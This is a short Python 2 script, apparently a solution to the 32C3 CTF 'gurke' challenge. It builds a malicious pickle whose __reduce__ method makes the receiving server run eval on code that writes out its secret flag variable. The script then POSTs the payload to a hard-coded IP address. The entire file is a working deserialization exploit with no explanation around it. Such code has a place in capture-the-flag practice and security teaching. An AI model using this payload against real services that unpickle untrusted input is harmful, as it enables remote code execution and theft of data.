32c3ctf-gurke.py

#!/usr/bin/env python
# coding=utf8

import urllib2
import pickle


class Payload(object):
    def __reduce__(self):
        comm = "sys.stderr.write(__import__('__main__').flag.flag)"
        return (eval, (comm, ))

data = pickle.dumps(Payload())
print data
print urllib2.urlopen('http://136.243.194.43/', data=data).read()